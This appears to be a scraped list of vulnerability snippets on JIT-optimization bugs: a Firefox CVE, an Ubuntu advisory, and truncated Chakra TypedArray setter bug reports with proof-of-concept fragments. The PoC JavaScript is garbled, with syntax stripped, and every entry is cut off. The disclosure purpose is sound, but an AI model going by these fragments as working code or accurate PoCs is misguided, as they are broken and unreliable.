CVE-2021-29982

Due to incorrect JIT optimization, we incorrectly interpreted data from the wrong type of object, resulting in the potential leak of a single bit of memory. This vulnerability affects Firefox 91 and Thunderbird 91...

Ubuntu 18.04 LTS / 20.04 LTS : Firefox vulnerabilities (USN-5037-1)

The remote Ubuntu 18.04 LTS / 20.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-5037-1 advisory. Multiple security issues were discovered in Firefox. If a user were tricked into opening a specially crafted website, an attacker could...

Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #3(CVE-2017-8601)

Coincidentally, Microsoft released the patch for the issue 1290 the day after I reported it. But it seems they fixed it incorrectly again. This time, "funca, b, i;" is replaced with "funca, b, ;". PoC: 'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main...

Microsoft Edge 40.15063.0.0 Chakra - Incorrect JIT Optimization with TypedArray Setter #3

Microsoft Edge 40.15063.0.0 Chakra - Incorrect JIT Optimization with TypedArray Setter 3 'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main let a = 1.1, 2.2; let b = new Uint32Array100; for let i = 0; i a0 = ; return 0; ; a0.toString; main; // Tested on...

Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #2(CVE-2017-8548)

I think the fix for 1045 is incorrect. Here's the original PoC. 'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main var a = 1.1, 2.2; var b = new Uint32Array100; // force to optimize for var i = 0; i a0 = ; return 0; ; a0.toString; main; I just changed...

Microsoft Edge Chakra Incorrect Jit Optimization

Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter 2 CVE-2017-8548 I think the fix for 1045 is incorrect. Here's the original PoC. 'use strict'; function funca, b, c a0 = 1.2; b0 = c; a1 = 2.2; a0 = 2.3023e-320; function main var a = 1.1, 2.2; var b = new Uint32Array100; //...